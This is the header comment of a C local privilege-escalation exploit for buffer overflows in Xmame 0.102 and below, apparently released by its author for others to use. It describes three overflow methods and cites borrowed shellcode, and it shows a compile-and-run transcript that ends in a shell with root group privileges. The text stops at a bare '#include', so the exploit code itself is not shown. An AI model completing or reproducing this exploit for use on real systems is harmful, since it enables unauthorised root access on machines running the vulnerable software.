/* xmame-expl.c
* by
* sj (sj@2600.com)
*
* On 20th of Jan it came to my attention that Xmame suffered from several
* buffer overflow problems. Thinking this issue was resolved, I installed
* Xmame on my Ubuntu laptop, from the Ubuntu repositories which installed a
* vulnerable version of Xmame.
* This is what prompted me to write this exploit. I realise there is a
* ruby exploit out there, but that did not exploit my system, hence
* another reason to write this exploit.
*
* This code exploits Xmame 0.102 and below.
*
* The shellcode used in this exploit is taken from Mixter's buffer
* overflow tutorial which can be found here: http://mixter.void.ru/exploit.html
*
* Based on what arguments you supply, this code will exploit 3 of
* the vulnerabilities found in Xmame giving you an euid=0
* Read the usage.
*
* Example:
* sj@tsunami:~/audit$ gcc -o xmame-expl xmame-expl.c
* sj@tsunami:~/audit$ ./xmame-expl 1
* Using -pb overflow method
* info: trying to parse: /etc/xmame/xmamerc
* error: /etc/xmame/xmamerc(71): unknown option joyusb-calibrate, ignoring line
* info: trying to parse: /home/sj/.xmame/xmamerc
* info: trying to parse: /etc/xmame/xmame-x11rc
* info: trying to parse: /home/sj/.xmame/xmame-x11rc
* sh-3.00$ id
* uid=1000(sj) gid=1000(sj) egid=0(root)
* groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(lpadmin),108(scanner),109(admin),1000(sj)
* sh-3.00$
*
* Enjoy (:
*/
#include